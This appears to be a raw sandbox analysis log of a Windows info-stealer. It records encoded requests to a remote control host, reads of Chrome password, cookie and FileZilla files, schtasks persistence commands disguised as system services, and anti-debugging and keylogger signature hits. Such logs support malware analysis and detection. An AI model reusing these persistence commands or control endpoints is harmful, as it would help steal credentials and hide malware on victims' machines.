request POST http://cc58476.tmweb.ru/vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ
request GET http://cc58476.tmweb.ru/vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=QM&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=gMmRTOxQTNjRDZ3YWNkZmM2Y2NkZ2MyEWM1MWNzQDN3AjNkFTN4gDO
request GET https://ipinfo.io/json
request POST http://cc58476.tmweb.ru/vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00380000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00390000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2232
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72741000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2232
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72742000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 524288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005a0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00422000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00455000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0045b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00457000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0043c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00640000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0042a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0044a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00447000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0043a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00641000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2232
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72142000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00446000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00642000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00643000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00644000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00645000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00646000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00647000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00648000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00649000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0064a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0064b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0064c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0064d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2232
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0064e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 458752
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005c0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x720a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x720a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 1703936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00b60000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00cc0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00482000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0049c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004b7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0048a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007d1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing Cookies
domain ipinfo.io
cmdline "schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\System32\mciqtz32\sppsvc.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "services" /sc ONLOGON /tr "'C:\Windows\System32\dpx\services.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "KMService" /sc ONLOGON /tr "'C:\Windows\winhlp32\KMService.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\instnm\taskhost.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\conhost.exe'" /rl HIGHEST /f
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 604
thread_handle: 0x0000038c
process_identifier: 2248
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\System32\mciqtz32\sppsvc.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x00000394
1 1 0

CreateProcessInternalW

 thread_identifier: 3024
thread_handle: 0x0000039c
process_identifier: 2388
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "KMService" /sc ONLOGON /tr "'C:\Windows\winhlp32\KMService.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003a0
1 1 0

CreateProcessInternalW

 thread_identifier: 2236
thread_handle: 0x000003a4
process_identifier: 2252
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\instnm\taskhost.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003b0
1 1 0

CreateProcessInternalW

 thread_identifier: 2260
thread_handle: 0x000003a4
process_identifier: 2428
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\conhost.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003b4
1 1 0

CreateProcessInternalW

 thread_identifier: 2852
thread_handle: 0x000003c0
process_identifier: 3016
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "schtasks" /create /tn "services" /sc ONLOGON /tr "'C:\Windows\System32\dpx\services.exe'" /rl HIGHEST /f
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003c4
1 1 0

CreateProcessInternalW

 thread_identifier: 1188
thread_handle: 0x000003c0
process_identifier: 192
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\dpx\services.exe"
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 1
process_handle: 0x000003cc
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
section {u'size_of_data': u'0x000a2200', u'virtual_address': u'0x00002000', u'entropy': 7.880110596134168, u'name': u'.text', u'virtual_size': u'0x000a20f4'} entropy 7.88011059613 description A section with a high entropy has been found
section {u'size_of_data': u'0x000b2000', u'virtual_address': u'0x000a6000', u'entropy': 6.950448991297877, u'name': u'.rsrc', u'virtual_size': u'0x000b1fa0'} entropy 6.9504489913 description A section with a high entropy has been found
entropy 0.999632623071 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Listen for incoming communication rule network_tcp_listen
description Run a keylogger rule keylogger
description Record Audio rule sniff_audio
description Affect private profile rule win_files_operation
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Listen for incoming communication rule network_tcp_listen
description Run a keylogger rule keylogger
description Record Audio rule sniff_audio
description Affect private profile rule win_files_operation
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
cmdline "schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\System32\mciqtz32\sppsvc.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "services" /sc ONLOGON /tr "'C:\Windows\System32\dpx\services.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "KMService" /sc ONLOGON /tr "'C:\Windows\winhlp32\KMService.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\instnm\taskhost.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\conhost.exe'" /rl HIGHEST /f
wmi SELECT * FROM Win32_Processor
wmi SELECT * FROM Win32_BIOS
wmi Select * From Win32_ComputerSystem
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1632
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000027c
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1556
region_size: 434176
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000270
1 0 0
Time & API Arguments Status Return Repeated

NtQuerySystemInformation

 information_class: 8 (SystemProcessorPerformanceInformation)
1 0 0
cmdline "schtasks" /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\System32\mciqtz32\sppsvc.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "services" /sc ONLOGON /tr "'C:\Windows\System32\dpx\services.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "KMService" /sc ONLOGON /tr "'C:\Windows\winhlp32\KMService.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\instnm\taskhost.exe'" /rl HIGHEST /f
cmdline "schtasks" /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\conhost.exe'" /rl HIGHEST /f
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
wmi SELECT * FROM AntivirusProduct
wmi SELECT * FROM Win32_DisplayConfiguration
wmi Select * From Win32_ComputerSystem
wmi SELECT * FROM FirewallProduct
wmi SELECT * FROM Win32_BIOS
wmi SELECT * FROM Win32_Processor
wmi SELECT * FROM Win32_BaseBoard
Time & API Arguments Status Return Repeated

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&db8cb8b2da220b8926f1fade5e56f6b5=75bc25ebf5d91a1ca155cc8c30991951&Gou94aa9EjMqWeOdgEN=A88sa3 HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru Connection: Keep-Alive
socket: 1188
sent: 394
1 394 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&ea78c0a6210543c33537cc209e0e617c=a7774efef20b27a2439fae72fd64c0a2&3074739814e1bc1bd77f06eb291cb8b2=wY3AzM2ITM5YWNmljN3UDO4YDN5gjYjljMhZTO3M2YmZTOilTY2cjN&Gou94aa9EjMqWeOdgEN=A88sa3 HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 458
1 458 0

send

 buffer: GET /vmPacketGeneratoruniversalTrack.php?Gou94aa9EjMqWeOdgEN=A88sa3&4c9e481a6e2df54faf98863307c8505a=QY2MjYmVTM0YDZ2QmMlR2M1QWM4IGN2EWY0MDZxkjYwUDZkBDOjhjYyQTNwYzM3AjM0IjM1kDO&3074739814e1bc1bd77f06eb291cb8b2=ANxYmZ0ETN3QzNhZ2MzQWZkRjM2UGOzU2N5I2YyEDZmNjZ0YjZ1kDZ&395456b66fc45ba775af61ef30811cd1=u4iL5J3b0NWZylGZgcmbp5mbhN2U&be0a06ae2eae18ab30d73f2131cab791=ANwMjZlBDM0MGMhJTOkVzNjlDOkRDZiRWO0MzM0EDMjNWZwQDNzEjN&ccce7aa2c00c6d06441f07b35eb3b7d8=QNwQDN2U2YiZGO2gTNyImZ5ITY4ATNiBjZ3kzYlJTYxATYwIzMzIjZ HTTP/1.1 Accept: */* Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Host: cc58476.tmweb.ru
socket: 1188
sent: 711
1 711 0

send

 buffer: ™•`fƒXW&)¯‰xËd:úôí¡‰e•|êsŽÐ*</=5 À'ÀÀÀ+À#À,À$À À @2j8Bÿapi.telegram.org   
socket: 1300
sent: 158
1 158 0

send

 buffer: ’Ž`fƒÔÚ–%,Ϝε„.$@r™× PšDѽ&I1*</=5 À'ÀÀÀ+À#À,À$À À @2j8;ÿ ipinfo.io   
socket: 1496
sent: 151
1 151 0

send

 buffer: FBAËם–KÅ°²®pÐc\M|.ÏáK>V q%&¦m mg¾·äÉuL«r{óèT§Ç¡H'QÊÛ‚êÙ?%Þ*—@×ÍKæÑÄ Rž!+ݗŒYçj#ހ^u\é”òÌҕèLCA=ñâ#u–»Q;ˆÀ9cÌ­~ëØù½§Û$4”ç
socket: 1496
sent: 150
1 150 0

send

 buffer: ð§ôO¯%.p¿FKo¤ôÝõ»t¹þ2õã*úŽÄ–fî¡\®«2Œ!´rjc¯¹]B‰Ù>zǕvÚÂÍTR´1z‰kL}ŽH†äµÁøQK­Ãúþ!§»i Ã}{±ZÇÝúU¶eÇâ"·œí+…Õý‘ÄÙ\¥ä‡_+i¼¤#<®5T¦{þzë„#·s؞ÛAcËÏE×Ak‹–†av1þˆ¬£‹Õî“ra+'2i÷ 3N7fð6-òZð™ZÏ(qBÓîß%Ì¾Îƒhô̧ž@~þÅ6Ö ’²JyíY£¥Ý#º1ÈÈ}¨¼¸äŽÐÔ-
socket: 1496
sent: 245
1 245 0

send

